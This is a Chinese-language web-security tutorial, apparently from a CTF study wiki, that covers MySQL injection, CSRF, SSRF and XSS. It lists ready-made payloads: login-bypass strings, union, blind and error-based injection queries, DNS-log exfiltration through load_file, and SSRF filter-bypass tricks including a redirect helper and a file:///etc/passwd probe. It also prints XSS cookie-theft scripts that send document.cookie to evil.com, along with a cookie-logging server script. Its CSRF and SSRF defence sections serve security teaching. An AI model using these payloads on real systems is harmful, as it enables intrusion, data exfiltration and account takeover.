  • user():當前資料庫使用者
  • database():當前資料庫名
  • version():當前使用的資料庫版本
  • @@datadir:資料庫儲存資料路徑
  • concat():聯合資料,用於聯合兩條資料結果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 類似,如 group_concat(DISTINCT+user,0x3a,password),用於把多條資料一次注入出來
  • concat_ws():用法類似
  • hex()unhex():用於 hex 編碼解碼
  • load_file():以文字方式讀取檔案,在 Windows 中,路徑設定為 \\
  • select xxoo into outfile '路徑':許可權較高時可直接寫檔案

語法參考與小技巧

行間註釋

  • --

    DROP sampletable;--
    
  • #

    DROP sampletable;#
    

行內註釋

  • /*註釋內容*/

    DROP/*comment*/sampletable`   DR/**/OP/*繞過過濾*/sampletable`   SELECT/*替換空格*/password/**/FROM/**/Members
    
  • /*! MYSQL專屬 */

    SELECT /*!32302 1/0, */ 1 FROM tablename
    

字串編碼

  • ASCII():返回字元的 ASCII 碼值
  • CHAR():把整數轉換為對應的字元

後臺萬能密碼

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不同的使用者登陸 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入語句備忘

資料庫名

SELECT database();
SELECT schema_name FROM information_schema.schemata;

表名

  • union 查詢

    --MySQL 4版本時用version=9,MySQL 5版本時用version=10
    UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出當前資料庫中的表 */
    UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有使用者自定義資料庫中的表 */
    SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
    
  • 盲注

    AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
    
  • 報錯

    AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
    -- 在5.1.5版本中成功。
    

列名

  • union 查詢

    UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
    
  • 盲注

    AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
    
  • 報錯

    -- 在5.1.5版本中成功
    AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
    -- MySQL 5.1版本修復了
    AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
    
  • 利用 PROCEDURE ANALYSE()

    -- 這個需要 web 展示頁面有你所注入查詢的一個欄位
    -- 獲得第一個段名
    SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
    -- 獲得第二個段名
    1 LIMIT 1,1 PROCEDURE ANALYSE()
    -- 獲得第三個段名
    1 LIMIT 2,1 PROCEDURE ANALYSE()
    

根據列名查詢所在的表

-- 查詢欄位名為 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查詢欄位名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

繞過引號限制

-- hex 編碼
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函式
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

繞過字串黑名單

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 時,任何個引數為 null,將返回 null,推薦使用 CONCAT_WS()CONCAT_WS()函式第一個參數列示用哪個字元間隔所查詢的結果。

條件語句

CASE, IF(), IFNULL(), NULLIF().

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

延時函式

SLEEP(), BENCHMARK().

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

order by 後的注入

order by 由於是排序語句,所以可以利用條件語句做判斷,根據返回的排序結果不同判斷條件的真假。一般帶有 order 或者 order by 的變數很可能是這種注入,在知道一個欄位的時候可以採用如下方式注入:

原始連結:http://www.test.com/list.php?order=vote

根據 vote 欄位排序。找到投票數最大的票數 num 然後構造以下連結:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否變化。還有一種方法不需要知道任何欄位資訊,使用 rand 函式:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

以上兩個會返回不同的排序,判斷表名中第一個字元是否小於 128 的語句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

寬位元組注入

國內最常使用的 GBK 編碼,這種方式主要是繞過 addslashes 等對特殊字元進行轉移的繞過。反斜槓 \ 的十六進位制為 %5c,在你輸入 %bf%27 時,函式遇到單引號自動轉移加入 \,此時變為 %bf%5c%27%bf%5c
在 GBK 中變為一個寬字元「縗」。%bf 那個位置可以是 %81-%fe 中間的任何字元。不止在 SQL 注入中,寬字元注入在很多地方都可以應用。

DNSLOG注入

DNS在解析的時候會留下日誌,透過讀取多級域名的解析日誌,來獲取資訊。簡單來說就是把資訊放在高階域名中,傳遞到自己這,然後讀取日誌,獲取資訊。

dnslog平臺:http://ceye.io/

mysql> use security;
Database changed

mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL                                      |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL                                                                 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

參考資料

  • SQL 注入速查表
  • MySQL 注入技巧
  • MySQL 注入科普
  • MySQL 注入總結
  • 《SQL 注入攻擊與防禦》

CSRF

CSRF 簡介

CSRF,全名 Cross Site Request Forgery,跨站請求偽造。很容易將它與 XSS 混淆,對於 CSRF,其兩個關鍵點是跨站點的請求與請求的偽造,由於目標站無 token 或 referer 防禦,導致使用者的敏感操作的每一個引數都可以被攻擊者獲知,攻擊者即可以偽造一個完全一樣的請求以使用者的身份達到惡意目的。

CSRF 型別

按請求型別,可分為 GET 型和 POST 型。

按攻擊方式,可分為 HTML CSRF、JSON HiJacking、Flash CSRF 等。

HTML CSRF

利用 HTML 元素髮出 CSRF 請求,這是最常見的 CSRF 攻擊。

HTML 中能設定 src/href 等連結地址的標籤都可以發起一個 GET 請求,如:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src=""></script>
<bgsound src=""></bgsound>
<embed src=""></bgsound>
<video src=""></video>
<audio src=""></audio>
<a href=""></a>
<table background=""></table>
......

還有 CSS 樣式中的:

@import ""
background:url("")
......

也可使用表單來對 POST 型的請求進行偽造。

<form action="http://www.a.com/register" id="register" method="post">
  <input type=text name="username" value="" />
  <input type=password name="password" value="" />
</form>
<script>
  var f = document.getElementById("register");
  f.inputs[0].value = "test";
  f.inputs[1].value = "passwd";
  f.submit();
</script>

Flash CSRF

Flash 也有各種方式可以發起網路請求,包括 POST。

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://target/page");
var param = new URLVariables();
param = "test=123";
url.method = "POST";
url.data = param;
sendToURL(url);
stop();

Flash 中還可以使用 getURLloadVars 等方式發起請求。

req = new LoadVars();
req.addRequestHeader("foo", "bar");
req.send("http://target/page?v1=123&v2=222", "_blank", "GET");

CSRF 的防禦

驗證碼

驗證碼強制使用者必須與應用進行互動,才能完成最終請求。

Referer Check

檢查請求是否來自合法的源。但伺服器並非什麼時候都能取得 Referer。

Token

CSRF 能夠攻擊成功的本質原因是重要操作的所有引數都可以被攻擊者猜測得到。

保持原引數不變,新增一個引數 Token,值是隨機的,在實際應用中,Token 可以放在使用者的 Session 中,或瀏覽器的 Cookies 中。

Token 一定要足夠隨機。此外,Token 的目的不是為了防止重複提交,所以為了使用方便,可以允許在一個使用者的有效生命週期內,在 Token 消耗掉之前都使用同一個 Token,但如果使用者已經提交了表單,則這個 Token 已經消耗掉,應該重新生成 Token。

Token 還應注意其保密性,如果 Token 出現在 URL 中,則可能會透過 Referer 洩露,應儘量把 Token 放在表單中,把敏感操作由 GET 改為 POST,以表單或 AJAX 的形式提交,避免 Token 洩露。

SSRF

SSRF 簡介

SSRF,Server-Side Request Forgery,服務端請求偽造,是一種由攻擊者構造形成由伺服器端發起請求的一個漏洞。一般情況下,SSRF 攻擊的目標是從外網無法訪問的內部系統。

漏洞形成的原因大多是因為服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址作過濾和限制。

攻擊者可以利用 SSRF 實現的攻擊主要有 5 種:

  1. 可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的 banner 資訊
  2. 攻擊執行在內網或本地的應用程式(比如溢位)
  3. 對內網 WEB 應用進行指紋識別,透過訪問預設檔案實現
  4. 攻擊內外網的 web 應用,主要是使用 GET 引數就可以實現的攻擊(比如 Struts2,sqli 等)
  5. 利用 file 協議讀取本地檔案等

SSRF 漏洞出現的場景

  • 能夠對外發起網路請求的地方,就可能存在 SSRF 漏洞
  • 從遠端伺服器請求資源(Upload from URL,Import & Export RSS Feed)
  • 資料庫內建功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他郵箱郵件(POP3、IMAP、SMTP)
  • 檔案處理、編碼處理、屬性資訊處理(ffmpeg、ImageMagic、DOCX、PDF、XML)

常用的後端實現

  1. file_get_contents

    <?php
    if (isset($_POST['url'])) { 
        $content = file_get_contents($_POST['url']); 
        $filename ='./images/'.rand().';img1.jpg'; 
        file_put_contents($filename, $content); 
        echo $_POST['url']; 
        $img = "<img src=\"".$filename."\"/>"; 
    }
    echo $img;
    ?>
    

    這段程式碼使用 file_get_contents 函式從使用者指定的 URL 獲取圖片。然後把它用一個隨機檔名儲存在硬碟上,並展示給使用者。

  2. fsockopen()

    <?php 
    function GetFile($host,$port,$link) { 
        $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
        if (!$fp) { 
            echo "$errstr (error number $errno) \n"; 
        } else { 
            $out = "GET $link HTTP/1.1\r\n"; 
            $out .= "Host: $host\r\n"; 
            $out .= "Connection: Close\r\n\r\n"; 
            $out .= "\r\n"; 
            fwrite($fp, $out); 
            $contents=''; 
            while (!feof($fp)) { 
                $contents.= fgets($fp, 1024); 
            } 
            fclose($fp); 
            return $contents; 
        } 
    }
    ?>
    

    這段程式碼使用 fsockopen 函式實現獲取使用者指定 URL 的資料(檔案或者 HTML)。這個函式會使用 socket 跟伺服器建立 TCP 連線,傳輸原始資料。

  3. curl_exec()

    <?php 
    if (isset($_POST['url'])) {
        $link = $_POST['url'];
        $curlobj = curl_init();
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($curlobj);
        curl_close($curlobj);
    
        $filename = './curled/'.rand().'.txt';
        file_put_contents($filename, $result); 
        echo $result;
    }
    ?>
    

    使用 curl 獲取資料。

阻礙 SSRF 漏洞利用的場景

  • 伺服器開啟 OpenSSL 無法進行互動利用
  • 服務端需要鑑權(Cookies & User:Pass)不能完美利用
  • 限制請求的埠為http常用的埠,比如,80,443,8080,8090。
  • 禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題。
  • 統一錯誤資訊,避免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。

利用 SSRF 進行埠掃描

根據伺服器的返回資訊進行判斷,大部分應用不會判別埠,可透過返回的 banner 資訊判斷埠狀態。

後端實現

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename)); 
    fclose($fp);
    echo $result;
}
?>

構造一個前端頁面

<html>
<body>
  <form name="px" method="post" action="http://127.0.0.1/ss.php">
    <input type="text" name="url" value="">
    <input type="submit" name="commit" value="submit">
  </form>
  <script></script>
</body>
</html>

請求非 HTTP 的埠可以返回 banner 資訊。

或可利用 302 跳轉繞過 HTTP 協議的限制。

輔助指令碼

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

騰訊某處 SSRF 漏洞(非常好的利用點)附利用指令碼

協議利用

  • Dict 協議

    dict://fuzz.wuyun.org:8080/helo:dict
    
  • Gopher 協議

    gopher://fuzz.wuyun.org:8080/gopher
    
  • File 協議

    file:///etc/passwd
    

繞過姿勢

  1. 更改IP地址寫法
    例如192.168.0.1

    • 8進位制格式:0300.0250.0.1
    • 16進位制格式:0xC0.0xA8.0.1
    • 10進位制整數格式:3232235521
    • 16進位制整數格式:0xC0A80001
    • 還有一種特殊的省略模式,例如10.0.0.1這個IP可以寫成10.1
  2. 利用URL解析問題
    在某些情況下,後端程式可能會對訪問的URL進行解析,對解析出來的host地址進行過濾。這時候可能會出現對URL引數解析不當,導致可以繞過過濾。
    例如:

    • http://www.baidu.com@192.168.0.1/http://192.168.0.1請求的都是192.168.0.1的內容

    • 可以指向任意ip的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

    • 短地址http://dwz.cn/11SMa==>http://127.0.0.1

    • 利用句號127。0。0。1==>127.0.0.1

    • 利用Enclosed alphanumerics

      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
      List:
      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
      ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
      Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
      ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
      ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
      ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
      

危害

  • 可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的banner資訊;
  • 攻擊執行在內網或本地的應用程式(比如溢位);
  • 對內網web應用進行指紋識別,透過訪問預設檔案實現;
  • 攻擊內外網的web應用,主要是使用get引數就可以實現的攻擊(比如struts2,sqli等);
  • 利用file協議讀取本地檔案等。

參考資料

  • 《Build Your SSRF EXP Autowork》豬豬俠
  • 騰訊某處 SSRF 漏洞(非常好的利用點)附利用指令碼
  • bilibili 某分站從資訊洩露到 ssrf 再到命令執行

XSS

XSS 簡介

跨站指令碼(Cross-Site Scripting,XSS)是一種經常出現在 WEB 應用程式中的電腦保安漏洞,是由於 WEB 應用程式對使用者的輸入過濾不足而產生的。攻擊者利用網站漏洞把惡意的指令碼程式碼注入到網頁中,當其他使用者瀏覽這些網頁時,就會執行其中的惡意程式碼,對受害使用者可能採取 Cookies 資料竊取、會話劫持、釣魚欺騙等各種攻擊。

反射型 XSS

反射型跨站指令碼(Reflected Cross-Site Scripting)是最常見,也是使用最廣的一種,可將惡意指令碼附加到 URL 地址的引數中。

反射型 XSS 的利用一般是攻擊者透過特定手法(如電子郵件),誘使使用者去訪問一個包含惡意程式碼的 URL,當受害者點選這些專門設計的連結的時候,惡意程式碼會直接在受害者主機上的瀏覽器執行。此類 XSS 通常出現在網站的搜尋欄、使用者登入口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙。

伺服器端程式碼:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

可以看到,程式碼直接引用了 name 引數,並沒有做任何的過濾和檢查,存在明顯的 XSS 漏洞。

持久型 XSS

持久型跨站指令碼(Persistent Cross-Site Scripting)也等同於儲存型跨站指令碼(Stored Cross-Site Scripting)。

此類 XSS 不需要使用者單擊特定 URL 就能執行跨站指令碼,攻擊者事先將惡意程式碼上傳或儲存到漏洞伺服器中,只要受害者瀏覽包含此惡意程式碼的頁面就會執行惡意程式碼。持久型 XSS 一般出現在網站留言、評論、部落格日誌等互動處,惡意指令碼儲存到客戶端或者服務端的資料庫中。

伺服器端程式碼:

<?php
  if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    // Sanitize name input
    $name = mysql_real_escape_string( $name );
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    //mysql_close(); }
?>

程式碼只對一些空白符、特殊符號、反斜槓進行了刪除或轉義,沒有做 XSS 的過濾和檢查,且儲存在資料庫中,明視訊記憶體在儲存型 XSS 漏洞。

DOM XSS

傳統的 XSS 漏洞一般出現在伺服器端程式碼中,而 DOM-Based XSS 是基於 DOM 文件物件模型的一種漏洞,所以,受客戶端瀏覽器的指令碼程式碼所影響。客戶端 JavaScript 可以訪問瀏覽器的 DOM 文字物件模型,因此能夠決定用於載入當前頁面的 URL。換句話說,客戶端的指令碼程式可以透過 DOM 動態地檢查和修改頁面內容,它不依賴於伺服器端的資料,而從客戶端獲得 DOM 中的資料(如從 URL 中提取資料)並在本地執行。另一方面,瀏覽器使用者可以操縱 DOM 中的一些物件,例如 URL、location 等。使用者在客戶端輸入的資料如果包含了惡意 JavaScript 指令碼,而這些指令碼沒有經過適當的過濾和消毒,那麼應用程式就可能受到基於 DOM 的 XSS 攻擊。

HTML 程式碼:

<html>
  <head>
    <title>DOM-XSS test</title>
  </head>
  <body>
    <script>
      var a=document.URL;
      document.write(a.substring(a.indexOf("a=")+2,a.length));
    </script>
  </body>
</html>

將程式碼儲存在 domXSS.html 中,瀏覽器訪問:

http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

即可觸發 XSS 漏洞。

XSS 利用方式

Cookies 竊取

攻擊者可以使用以下程式碼獲取客戶端的 Cookies 資訊:

<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

在遠端伺服器上,有一個接受和記錄 Cookies 資訊的檔案,示例如下:

<%
  msg=Request.ServerVariables("QUERY_STRING")
  testfile=Server.MapPath("cookie.txt")
  set fs=server.CreateObject("Scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.Writeline(""&msg& "")
  thisfile.close
  set fs=nothing
%>
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

攻擊者在獲取到 Cookies 之後,透過修改本機瀏覽器的 Cookies,即可登入受害者的賬戶。

會話劫持

由於使用 Cookies 存在一定的安全缺陷,因此,開發者開始使用一些更為安全的認證方式,如 Session。在 Session 機制中,客戶端和服務端透過識別符號來識別使用者身份和維持會話,但這個識別符號也有被其他人利用的可能。會話劫持的本質是在攻擊中帶上了 Cookies 併傳送到了服務端。

如某 CMS 的留言系統存在一個儲存型 XSS 漏洞,攻擊者把 XSS 程式碼寫進留言資訊中,當管理員登入後臺並檢視是,便會觸發 XSS 漏洞,由於 XSS 是在後臺觸發的,所以攻擊的物件是管理員,透過注入 JavaScript 程式碼,攻擊者便可以劫持管理員會話執行某些操作,從而達到提升許可權的目的。

比如,攻擊者想利用 XSS 新增一個管理員賬號,只需要透過之前的程式碼審計或其他方式,擷取到新增管理員賬號時的 HTTP 請求資訊,然後使用 XMLHTTP 物件在後臺傳送一個 HTTP 請求即可,由於請求帶上了被攻擊者的 Cookies,並一同傳送到服務端,即可實現新增一個管理員賬戶的操作。

釣魚

  • 重定向釣魚

    把當前頁面重定向到一個釣魚頁面。

    http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
    
  • HTML 注入式釣魚

    使用 XSS 漏洞注入 HTML 或 JavaScript 程式碼到頁面中。

    http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
    

該段程式碼會在正常頁面中嵌入一個 Form 表單。

  • iframe 釣魚

    這種方式是透過 <iframe> 標籤嵌入遠端域的一個頁面實施釣魚。

    http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
    
  • Flash 釣魚

    將構造好的 Flash 檔案傳入伺服器,在目標網站用 <object><embed> 標籤引用即可。

  • 高階釣魚技術

    注入程式碼劫持 HTML 表單、使用 JavaScript 編寫鍵盤記錄器等。

網頁掛馬

一般都是透過篡改網頁的方式來實現的,如在 XSS 中使用 <iframe> 標籤。

DOS 與 DDOS

注入惡意 JavaScript 程式碼,可能會引起一些拒絕服務攻擊。

XSS 蠕蟲

透過精心構造的 XSS 程式碼,可以實現非法轉賬、篡改資訊、刪除文章、自我複製等諸多功能。

Self-XSS 變廢為寶的場景

Self-XSS 顧名思義,就是一個具有 XSS 漏洞的點只能由攻擊者本身觸發,即自己打自己的攻擊。比如個人隱私的輸入點存在 XSS。但是由於這個隱私資訊只能由使用者本人檢視也就無法用於攻擊其他人。這類漏洞通常危害很小,顯得有些雞肋。但是在一些具體的場景下,結合其他漏洞(比如 CSRF )就能將 Self-XSS 轉變為具有危害的漏洞。下面將總結一些常見可利用 Self-XSS 的場景。

  • 登入登出存在 CSRF,個人資訊存在 Self-XSS,第三方登入

    這種場景一般的利用流程是首先攻擊者在個人資訊 XSS 點注入 Payload,然後攻擊者製造一個惡意頁面誘導受害者訪問,惡意頁面執行以下操作:

    1. 惡意頁面執行利用 CSRF 讓受害者登入攻擊者的個人資訊位置,觸發 XSS payload
    2. JavaScript Payload 生成 <iframe> 標籤,並在框架內執行以下這些操作
    3. 讓受害者登出攻擊者的賬號
    4. 然後使得受害者透過 CSRF 登入到自己的賬戶個人資訊介面
    5. 攻擊者從頁面提取 CSRF Token
    6. 然後可以使用 CSRF Token 提交修改使用者的個人資訊

    這種攻擊流程需要注意幾個地方:第三步登入是不需要使用者互動的,利用 Google Sign In 等非密碼登入方式登入;X-Frame-Options 需要被設定為同源(該頁面可以在相同域名頁面的 iframe 中展示 )

  • 登入存在 CSRF,賬戶資訊存在 Self-XSS,OAUTH 認證

    1. 讓使用者退出賬戶頁面,但是不退出 OAUTH 的授權頁面,這是為了保證使用者能重新登入其賬戶頁面
    2. 讓使用者登入我們的賬戶頁面出現 XSS,利用 使用 <iframe> 標籤等執行惡意程式碼
    3. 登入回他們各自的賬戶,但是我們的 XSS 已經竊取到 Session

相關文章